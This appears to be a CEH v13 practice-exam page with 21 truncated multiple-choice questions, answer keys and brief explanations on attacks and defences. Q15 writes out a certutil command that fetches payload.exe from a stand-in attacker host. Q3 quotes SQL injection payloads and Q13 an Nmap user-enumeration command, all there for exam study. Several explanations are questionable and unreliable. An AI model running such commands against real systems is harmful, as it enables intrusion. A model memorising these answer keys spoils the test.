CEH v13 (312-50) Practice Exam – Part 5/7 – 21 Questions with Answers
Practice for the CEH v13 (312-50) exam with 21 multiple-choice questions. Answer each question before the reveal, then review the explanation to understand the reasoning.
This is Part 5/7 in the CertPunch CEH v13 (312-50) practice exam series.
Topics covered: reconnaissance, vulnerability analysis, web security, malware concepts, cryptography, and defensive controls.
More practice: certpunch.com
Chapters:
00:00 Intro
00:15 Question 1 of 21
01:22 Question 2 of 21
02:14 Question 3 of 21
03:42 Question 4 of 21
05:05 Question 5 of 21
06:58 Question 6 of 21
08:03 Question 7 of 21
09:40 Question 8 of 21
11:14 Question 9 of 21
12:38 Question 10 of 21
13:45 Question 11 of 21
15:54 Question 12 of 21
17:21 Question 13 of 21
18:34 Question 14 of 21
19:46 Question 15 of 21
20:42 Question 16 of 21
22:09 Question 17 of 21
23:37 Question 18 of 21
25:46 Question 19 of 21
27:24 Question 20 of 21
28:55 Question 21 of 21
What you will practice
- You are a security administrator for a medium-sized company. Your manager has asked you to conduct an audit o…
- A government agency trains a group of cybersecurity experts to carry out covert cyber missions against foreig…
- During an internal penetration test, a security analyst assesses a web application that interfaces with a bac…
- As a cybersecurity analyst, you were assigned the task of analyzing the traffic patterns of your company's ne…
- A multinational corporation provides its employees with mobile devices to support remote work and enhance pro…
- A logistics company recently found that some of its fleet vehicles equipped with smart locking systems were c…
Answers and explanations
Tap a question to expand the answer and the exam reasoning. Try to commit to your own pick first.
Q1. You are a security administrator for a medium-sized company. Your manager has asked you to conduct an audit of the organization's security infrastructure. While reviewing the logs from the Intrusion Detection System (IDS), you notice that…
Answer: C. The IDS is configured with very high sensitivity settings, leading to many false positives.
High sensitivity settings cause false positives by flagging normal activity as threats. The other options imply system failures rather than configuration issues.
Q2. A government agency trains a group of cybersecurity experts to carry out covert cyber missions against foreign threats and gather intelligence without being detected. These experts work exclusively for national interests. What classificati…
Answer: D. State-sponsored hackers
State-sponsored hackers is the correct answer as they act directly for a government's national interests. Organized, gray hat, and hacktivists lack the official government backing described in the scenario.
Q3. During an internal penetration test, a security analyst assesses a web application that interfaces with a backend Oracle database. Initial attempts using standard SQL injection payloads such as ' OR '1'='1 and UNION SELECT return no useful…
Answer: C. Heavy query-based SQL injection
Heavy query-based SQL injection is the correct answer because the payload causes a significant delay by overloading the database with complex queries. The WAITFOR DELAY technique is specific to SQL Server, while this payload is a generic stress test.
Q4. As a cybersecurity analyst, you were assigned the task of analyzing the traffic patterns of your company's network. You started noticing irregularities that suggested a potential scanning attempt. The attacker appears to be quite sophistic…
Answer: C. The attacker is utilizing a 'zombie' machine to transmit the scan, thus making the true source of the scan difficult to determine.
Using a 'zombie' machine is the correct answer because it obscures the attacker's true source, making the scan stealthy. The other methods are more direct and easier to trace back to the source.
Q5. A multinational corporation provides its employees with mobile devices to support remote work and enhance productivity. Recently, the security team detected suspicious activities indicating potential vulnerabilities in the mobile platforms…
Answer: B. Remote Access Trojan (RAT) Implanting Malicious Software on Mobile Devices to Gain Unauthorized Remote Access and Monitor User Activities, such as Keystrokes and Screen Capture
This is correct because RATs provide stealthy remote access, making them hard to detect. The trap is distinguishing between active attacks and passive vulnerabilities.
Q6. A logistics company recently found that some of its fleet vehicles equipped with smart locking systems were compromised, leading to vehicle thefts. The cybersecurity team suspects that attackers captured unique signals emitted by the key f…
Answer: B. Monitor wireless signals for abnormal jamming or interference.
This is correct because signal jamming reveals key fob replay attacks. The trap is confusing digital security with physical measures.
Q7. As a cybersecurity analyst at XYZ Corp., you're examining system logs and notice an array of activities that suggest the presence of an elusive rootkit. Given the stealthy nature of rootkits, their detection and eradication are pivotal to…
Answer: B. Employ a systematic, multi-layered strategy, starting with the deployment of a specialized rootkit detection tool to verify the presence and type of rootkit, followed by an appropriately tailored removal procedure, specific to the identified rootkit.
This is correct because kernel rootkits need specialized detection and removal. The trap is overreacting with honeypots or full reinstallation.
Q8. In a healthcare organization, the network security team detects unusual network activity, indicating advanced sniffing techniques used by a potential attacker. Upon investigation, it's found that the attacker exploits vulnerabilities in me…
Answer: B. Exploiting MRI machine firmware vulnerabilities to intercept real-time patient scans.
Exploiting MRI firmware vulnerabilities is a sophisticated attack targeting medical devices directly, making it highly difficult to detect without specialized monitoring. The other options focus on administrative manipulation rather than direct network-level interception.
Q9. A city's power management utilizes SCADA systems to oversee operations. Recently, the infrastructure has shown unexplained anomalies such as inconsistent sensor values and intermittent outages. Security experts suspect a side-channel attac…
Answer: C. Measure unusual fluctuations during device operations at the hardware level.
Side-channel attacks exploit physical characteristics like power fluctuations, requiring hardware-level monitoring to detect. Network latency or UI reviews might indicate other issues, but hardware-level analysis is the definitive method for confirming side-channel leakage.
Q10. A cybersecurity team at a multinational company notices unusual network traffic on their Bluetooth devices. It is suspected to be a Bluesnarfing attack, aimed at accessing unauthorized information from Bluetooth-enabled devices. Which of t…
Answer: A. Disable "Discoverable Mode" and activate "Non-discoverable Mode" on all Bluetooth devices.
Disabling discoverable mode prevents attackers from detecting Bluetooth devices, the first step in Bluesnarfing. Firmware updates and strong PINs are secondary defenses; encryption doesn't prevent discovery-based attacks.
Q11. A prominent healthcare organization relies on mobile platforms to access electronic health records (EHR) and facilitate communication among healthcare professionals. Recently, the security team detected suspicious activities indicating pot…
Answer: B. Zero-Day Exploits Leveraging Previously Unknown Vulnerabilities in Mobile Operating Systems or Applications to Gain Unauthorized Access to Healthcare Data and Patient Records
Zero-day exploits are correct because they use unknown vulnerabilities, making them extremely hard to detect. App spoofing and bluejacking are easier to spot with mobile device management.
Q12. A cybersecurity analyst working for a multinational corporation is tasked with performing regular surveillance of their competitors' digital presence to identify any changes that could indicate strategic shifts or potential threats. To sta…
Answer: B. Set up Google Alerts to receive email notifications whenever new web content includes their competitors' names or other key terms.
Google Alerts are the best choice for automated monitoring. VPNs don't track changes, hacking is unethical, and forum engagement is inefficient and risky.
Q13. During a black-box assessment, an attacker executes the Nmap command: nmap -p25 –script smtp-enum-users –script-args smtp-enum-users.methods={VRFY, EXPN, RCPT} <target IP>. The script successfully returns multiple valid usernames. What s…
Answer: D. SMTP user verification commands are exposed without restrictions.
Unrestricted user verification commands allow easy username enumeration. Disabling STARTTLS or allowing auth without credentials are different security issues.
Q14. As an IT technician in a small software development company, you are tasked with providing security against different kinds of cyber threats. You learn about various methods hackers might use to bypass your company's firewalls. Which of th…
Answer: A. Changing the source IP address of packets to appear as if the traffic is coming from a trusted source.
IP spoofing allows attackers to bypass firewall rules that rely on trusted source IP addresses. This is a classic firewall evasion technique that attackers frequently use to appear legitimate.
Q15. A red teamer uses 'Certutil.exe -urlcache -f http://attacker.com/payload.exe' to download a file. How does an EDR typically detect this Living-off-the-Land (LotL) activity?
Answer: C. By monitoring command-line arguments and unusual network connections from system binaries.
EDR detects LotL activities by monitoring suspicious command-line arguments from trusted system binaries and their corresponding unusual network connections.
Q16. Upon analyzing anomalies in your network's traffic, you discover traces of an insidious malware strain named "ShadowFlee." This malware operates without writing files to disk, harnessing system utilities and scripts like PowerShell to stea…
Answer: B. Restrict and monitor the execution of scripts and system tools, especially those invoked by unsanctioned processes.
Restricting and monitoring script execution counters fileless malware like ShadowFlee that exploits system tools. Option A is too broad; C and D don't directly address memory-based threats.
Q17. As a senior cybersecurity professional at a multinational bank, you are investigating an incident where multiple systems have been infected with malware. On the affected systems, the malware remains dormant until a specific action triggers…
Answer: B. Polymorphic Malware: Employ advanced threat detection tools that use behavior-based detection techniques and ensure all systems are patched.
Polymorphic malware changes its code to evade detection, making behavior-based tools and patching the best defense. Option A is a generic worm response that misses the evasion clue.
Q18. You are a Certified Ethical Hacker contracted by a technology company to perform a security assessment on Bluetooth-enabled devices. These devices have Secure Simple Pairing (SSP) enabled, which generally offers strong security. During you…
Answer: C. Impose rate-limiting to slow down the brute-force attack.
Rate-limiting is the most direct counter to a brute-force attack, slowing the attacker down. Option D is a trap because increasing key length doesn't stop brute-force of the DH exchange.
Q19. A leading online retailer has been experiencing a series of security incidents involving unauthorized access to customer accounts and fraudulent transactions. Upon investigation, it is suspected that attackers are employing sophisticated s…
Answer: C. Session Replay Attack Capturing and Replaying Encrypted Session Tokens to Gain Unauthorized Access
Session replay attacks are stealthy, using real captured tokens to impersonate users. Option A is client-side, B requires user action, and D relies on known credentials.
Q20. As a cybersecurity analyst working for a multinational corporation, you are tasked with the responsibility of conducting routine vulnerability scans. This time around, you decided to use a different strategy and opted to employ a FIN scan…
Answer: A. Consider the possibility of a firewall blocking the FIN packets and investigate further.
Firewalls often block FIN scans, so a lack of response requires investigation. Option C is incorrect because only RST/ACK indicates a closed port in this context.
Q21. During a routine security audit, administrators found that cloud storage backups were illegally accessed and modified. What countermeasure would most directly mitigate such incidents in the future?
Answer: B. Adopting the 3-2-1 backup model.
The 3-2-1 model ensures backups are stored offsite and redundant, preventing single points of failure. Options A, C, and D are unrelated to data integrity.
More Ethical Hacking v13 (312-50) drills and other practice exams are on @CertPunch. New rounds drop every few days at certpunch.com.